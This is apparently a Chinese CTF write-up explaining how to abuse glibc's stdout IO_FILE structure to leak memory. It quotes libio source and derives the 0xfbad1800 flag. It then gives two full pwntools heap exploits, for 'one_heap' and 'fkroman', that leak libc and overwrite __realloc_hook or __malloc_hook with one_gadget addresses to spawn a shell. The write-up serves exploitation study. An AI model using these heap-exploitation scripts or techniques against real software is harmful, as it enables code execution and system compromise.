IO_FILE-leakaddr

任意读原理

stderr、stdout、stdin这三个函数拥有IO_FILE结构体,要利用IO_FILE实现任意读,就要利用到stdout。
首先,puts和write函数的执行,都会通过 _IO_new_file_overflow 这个函数最后执行 _IO_overflow

puts: _IO_puts –> _IO_sputn –> _IO_new_file_xsputn –> _IO_new_file_overflow –> _IO_do_write –> new_do_write –> _IO_SYSWRITE

fwrite: _IO_fwrite –> _IO_sputn –> _IO_new_file_xsputn –> _IO_new_file_overflow –> _IO_do_write –> new_do_write –> _IO_SYSWRITE

_IO_new_file_xsputn的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{//判断缓存区有多少空间
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
...
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{//有空间的话就把数据拷贝至缓冲区
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) //进入_IO_new_file_overflow
/* If nothing else has to be written we must not signal the caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;

_IO_new_file_overflow源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{//不进入
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{//不进入
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
...
...
}
if (ch == EOF) //调用_IO_new_do_write
return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED) || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}

_IO_new_do_write的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{//不能进入
off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
// fseek(stdout, x, 1) always return _IO_pos_BAD (-1)
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);//执行write
...
...
return count;
}
1
2
3
4
5
//glibc/libio/libio.h

#define _IO_NO_WRITES 0x0008
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
关于flag的绕过:
1
2
3
4
5
6
7
综上,我们需要绕过的有:
- f->_flags & _IO_NO_WRITES = 0
- f->_flags & _IO_CURRENTLY_PUTTING = 1
- fp->_IO_read_end = fp->_IO_write_base 或者 _flag & IO_IS_APPENDING = 1
- _fileno = 1
- _IO_write_base是我们传输给_IO_SYSWRITE的参数,即是我们leak出来的地址
- _IO_write_base与_IO_write_ptr的差是write出来的字节数,所以我们要覆盖base的低位使之变小

_flags里面包含_IO_IS_APPENDING_IO_IS_APPENDING的定义为#define _IO_IS_APPENDING 0x1000,这样就不会走后面的这个判断而直接执行到_IO_SYSWRITE
按理是满足接下来这些条件就可以了的:

1
2
3
4
5
6
7
> #_IO_new_file_xsputn (if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)))
> f->flag & 0xa00 >0;
> #_IO_new_file_overflow f->_flags & _IO_NO_WRITES
> f->_flags & 0x8 = 0;
> #new_do_write if (fp->_flags & _IO_IS_APPENDING)
> f->flag & 0x1000 == 1;(>0)
> f->write_base != f->write_ptr;
1
2
3
4
5
6
flag = 0xfbad0000
flag &= ~0x008 (最后一位)
flag |= 0x0800 (倒数三位) 不能是奇数
flag |= 0x1000 (倒数第四位) 不能是偶数

--> flag = 0xfbad1800
不改flag的绕过:

要使fp->_IO_read_end != fp->_IO_write_base不成立才能执行write

所以要满足的条件:

1
2
3
4
5
_IO_write_base指向想要泄露的地方。
_IO_write_ptr指向泄露结束的地址。//两者要有差距
_IO_read_end等于_IO_write_base以绕过多余的代码。

//满足这三个条件,可实现任意读。

例题:

2019 one_heap

这是一道tcache+IO_FILE的题

有限的删除数量,就利用tcache机制构造chunk,将chunk写进unsorted bin里

指针指向stdout,实现覆写flag和write_base等数据,leak出libc的地址,然后unsorted bin attack 更改realloc_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

#gdb.attach(p)
def add(size,content):
p.recvuntil('choice:')
p.sendline("1")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil('content')
p.send(content)
def delete():
p.recvuntil('choice:')
p.sendline("2")
while True:
try:
p = process("./one_heap")
#p = remote('47.104.89.129',10001)
#context.log_level='debug'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')
gdb.attach(p)
add(0x7f,'\n')
delete()
delete()
add(0x2f,p64(0)*2+p64(0x80)+p64(0x20)+'\n')
delete()
add(0x7f,'\n')
add(0x7f,'\n')
add(0x7f,'\n')
delete()
add(0x20,'\x60\x97\n')
add(0x7f,p64(0)*4+p64(0)+p64(0x81)+'\n')
add(0x7f,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
p.recv(8)
p.recv(8)
libc.address=u64((p.recv(6)).ljust(8,'\x00'))-0x3ed8b0
print hex(libc.address)
realloc_hook=libc.symbols['__realloc_hook']
realloc = libc.symbols['realloc']
one_gadget = libc.address+0x10a38c
add(0x70,p64(0)*10+p64(0)+p64(0x41)+p64(realloc_hook)+'\n')
add(0x30,'\n')
add(0x30,p64(one_gadget)+p64(realloc+4)+'\n')
add(0x10,'\n')
p.interactive()
break
except:
continue
2109 数字经济 fkroman

没办法通过show函数leak出libc的地址,所以我们会想到IO_FILE
漏洞,可以uaf,然后,edit可以自己重写size,造成溢出,重构fd,达到任意地址写的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./fkroman')
elf = ELF('./fkroman')
libc = ELF('./libc-2.23.so')

one = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(idx,size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))


def delt(idx):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))


def edit(idx,size,content):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(content)

add(0,0x68) #0
# edit(0,0x68,'a'*0x68)
add(1,0x68) #1
add(2,0x68) #2
# add(3,0x68)
edit(2,0x20,p64(0)*3+p64(0x51))
delt(1)
edit(0,0x70,'\x00'*0x68+p64(0x91))
gdb.attach(p)
delt(1)
edit(1,2,'\xdd\x25')
edit(0,0x70,'\x00'*0x68+p64(0x71))
add(0,0x68)
add(1,0x68)
pay = 0x33*'A' + p64(0xfbad1800) + p64(0)*3 + '\x00'
edit(1,len(pay),pay)
stderr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(stderr)
libc_base = stderr +0x20 -libc.symbols['_IO_2_1_stdout_']
print hex(libc_base)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print hex(malloc_hook)
fack_chunk = malloc_hook - 0x23
onegadget = one[3] + libc_base
add(0,0x68)
delt(0)
gdb.attach(p)
edit(0,8,p64(fack_chunk))
add(0,0x68)
add(1,0x68)
pay = 0x13*'A' + p64(onegadget)
edit(1,len(pay),pay)
add(1,0x20)
p.interactive()